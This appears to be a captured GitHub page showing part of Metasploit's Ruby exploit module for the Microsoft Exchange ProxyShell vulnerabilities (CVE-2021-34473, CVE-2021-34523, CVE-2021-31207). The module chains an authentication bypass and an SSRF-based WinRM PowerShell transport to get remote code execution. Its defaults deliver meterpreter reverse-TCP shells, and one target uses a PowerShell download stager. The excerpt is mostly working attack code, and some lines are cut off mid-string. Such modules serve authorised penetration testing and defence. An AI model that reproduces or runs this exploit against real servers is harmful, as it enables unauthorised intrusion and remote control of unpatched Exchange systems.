Sign in

rapid7 / metasploit-framework Public

Notifications | Fork 14k | Star 34.1k

Code | Issues 411 | Pull requests 44 | Discussions | Actions | Projects 1 | Wiki

metasploit-framework / modules / exploits / windows / http / exchange_proxyshell_rce.rb

673 lines (587 loc) · 25.5 KB

Code | Blame | Raw

```ruby
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'winrm'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Powershell
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Microsoft Exchange ProxyShell RCE',
        'Description' => %q{
          This module exploits a vulnerability on Microsoft Exchange Server that
          allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an
          arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve
```

```ruby
          the RCE (Remote Code Execution).

          By taking advantage of this vulnerability, you can execute arbitrary
          commands on the remote Microsoft Exchange Server.

          This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15,
          Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5,
          Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9.

          All components are vulnerable by default.
        },
        'Author' => [
          'Orange Tsai', # Discovery
          'Jang (@testanull)', # Vulnerability analysis
          'PeterJson', # Vulnerability analysis
          'brandonshi123', # Vulnerability analysis
          'mekhalleh (RAMELLA Sébastien)', # exchange_proxylogon_rce template
          'Donny Maasland', # Procedure optimizations (email enumeration)
          'Rich Warren', # Procedure optimizations (email enumeration)
          'Spencer McIntyre', # Metasploit module
          'wvu' # Testing
        ],
        'References' => [
          [ 'CVE', '2021-34473' ],
          [ 'CVE', '2021-34523' ],
          [ 'CVE', '2021-31207' ],
          [ 'URL', 'https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4
          [ 'URL', 'https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-ProxyLogon-Is-Just-The-Ti
          [ 'URL', 'https://y4y.space/2021/08/12/my-steps-of-reproducing-proxyshell/' ],
          [ 'URL', 'https://github.com/dmaasland/proxyshell-poc' ]
        ],
        'DisclosureDate' => '2021-04-06', # pwn2own 2021
        'License' => MSF_LICENSE,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Platform' => ['windows'],
        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Powershell',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
```

```
              'Type' => :windows_powershell,
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Windows Dropper',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_X64, ARCH_X86],
              'Type' => :windows_dropper,
              'CmdStagerFlavor' => %i[psh_invokewebrequest],
              'DefaultOptions' => {
                'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp',
                'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Platform' => 'windows',
              'Arch' => [ARCH_CMD],
              'Type' => :windows_command,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
          'AKA' => ['ProxyShell'],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )

    register_options([
      OptString.new('EMAIL', [false, 'A known email address for this organization']),
      OptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]),
    ])
```

```
  end

  class SSRFWinRMConnection < WinRM::Connection
    class MessageFactory < WinRM::PSRP::MessageFactory
      def self.create_pipeline_message(runspace_pool_id, pipeline_id, command)
        WinRM::PSRP::Message.new(
          runspace_pool_id,
          WinRM::PSRP::Message::MESSAGE_TYPES[:create_pipeline],
          XMLTemplate.render('create_pipeline', cmdlet: command[:cmdlet], args: command[:args]),
          pipeline_id
        )
      end
    end

    # we have to define this class so we can define our own transport factory that provides one backe
    # vulnerability
    class TransportFactory < WinRM::HTTP::TransportFactory
      class HttpSsrf < WinRM::HTTP::HttpTransport
        # rubocop:disable Lint/
        def initialize(endpoint, options)
          @endpoint = endpoint.is_a?(String) ? URI.parse(endpoint) : endpoint
          @ssrf_proc = options[:ssrf_proc]
```

```ruby
      end

      def send_request(message)
        resp = @ssrf_proc.call('POST', @endpoint.path, { ctype: 'application/soap+xml;charset=UTF-
        WinRM::ResponseHandler.new(resp.body, resp.code).parse_to_xml
      end
    end

    def create_transport(connection_opts)
      raise NotImplementedError unless connection_opts[:transport] == :ssrf

      super
    end

    private

    def init_ssrf_transport(opts)
      HttpSsrf.new(opts[:endpoint], opts)
    end
  end

  module PowerShell
    def send_command(command, _arguments)
      command_id = SecureRandom.uuid.to_s.upcase
      message = MessageFactory.create_pipeline_message(@runspace_id, command_id, command)
      fragmenter.fragment(message) do |fragment|
        command_args = [connection_opts, shell_id, command_id, fragment]
        if fragment.start_fragment
          resp_doc = transport.send_request(WinRM::WSMV::CreatePipeline.new(*command_args).build)
          command_id = REXML::XPath.first(resp_doc, "//*[local-name() = 'CommandId']").text
        else
          transport.send_request(WinRM::WSMV::SendData.new(*command_args).build)
        end
      end

      command_id
    end
  end

  def initialize(connection_opts)
    # these have to be set to truthy values to pass the option validation, but they're not actually
    connection_opts.merge!({ user: :ssrf, password: :ssrf })
    super(connection_opts)
  end

  def transport
```

```ruby
    @transport ||= begin
      transport_factory = TransportFactory.new
      transport_factory.create_transport(@connection_opts)
    end
  end
end
```